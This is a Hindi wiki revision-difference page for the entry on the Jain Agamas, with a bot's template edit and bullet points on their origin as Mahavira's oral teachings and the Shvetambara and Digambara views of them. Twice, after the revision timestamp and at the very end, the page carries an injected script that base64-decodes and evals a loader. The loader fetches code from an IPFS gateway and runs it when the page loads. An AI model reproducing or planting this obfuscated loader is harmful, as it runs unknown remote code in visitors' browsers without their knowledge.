"आगम" के अवतरणों में अंतर
नेविगेशन पर जाएँ
खोज पर जाएँ
Maintenance (चर्चा | योगदान) छो (Text replace - '{{जैन धर्म}}' to '') |
Maintenance (चर्चा | योगदान) छो (Text replace - '{{जैन धर्म2}}' to '{{जैन धर्म}}') |
||
पंक्ति ११: | पंक्ति ११: | ||
==सम्बंधित लिंक== | ==सम्बंधित लिंक== | ||
− | {{जैन | + | {{जैन धर्म}} |
[[Category:जैन]] | [[Category:जैन]] | ||
[[Category:कोश]] | [[Category:कोश]] | ||
__INDEX__ | __INDEX__ |
११:३५, ७ अगस्त २०१० का अवतरण
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
आगम / Aagam
- भगवान महावीर के उपदेश जैन धर्म के मूल सिद्धान्त हैं, जिन्हें 'आगम' कहा जाता है ।
- वे अर्धमागधी प्राकृत भाषा में हैं । उन्हें आचारांगादि बारह 'अंगों' में संकलित किया गया, जो 'द्वादशंग आगम' कहे जाते हैं ।
- वैदिक संहिताओं की भाँति जैन आगम भी पहले श्रुत रूप में ही थे ।
- महावीर जी के बाद भी कई शताब्दियों तक उन्हें लिपिबद्ध नहीं किया गया था ।
- श्वेताम्बर और दिगम्बर आम्नाओं में जहाँ अनेक बातों में मत-भेद था, वहीं आगमों को लिपिबद्ध न करने में दोनों एक मत थे ।
- कालांतर में उन्हें लिपिबद्ध तो किया गया; किन्तु लिखित रूप की प्रमाणिकता इस धर्म के दोनों संप्रदायों को समान रूप से स्वीकृत नहीं हुई ।
- श्वेताम्बर संप्रदाय के अनु्सार समस्त आगमों के छ: विभाग हैं, जो 'अंग', 'उपांग', 'प्रकीर्णक', 'छेदसूत्र', 'सूत्र' और मूलसूत्र कहलाते हैं । इनमें 'एकादश अंग सूत्र' सबसे प्राचीन माने जाते हैं ।
- दिगम्बर संप्रदाय उपयुक्त आगमों को नहीं मानता है। इस संप्रदाय का मत है, अंतिम श्रुतकेवली भद्रवाहु के पश्चात आगमों का ज्ञान लुप्तप्राय हो गया था।
सम्बंधित लिंक
|
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>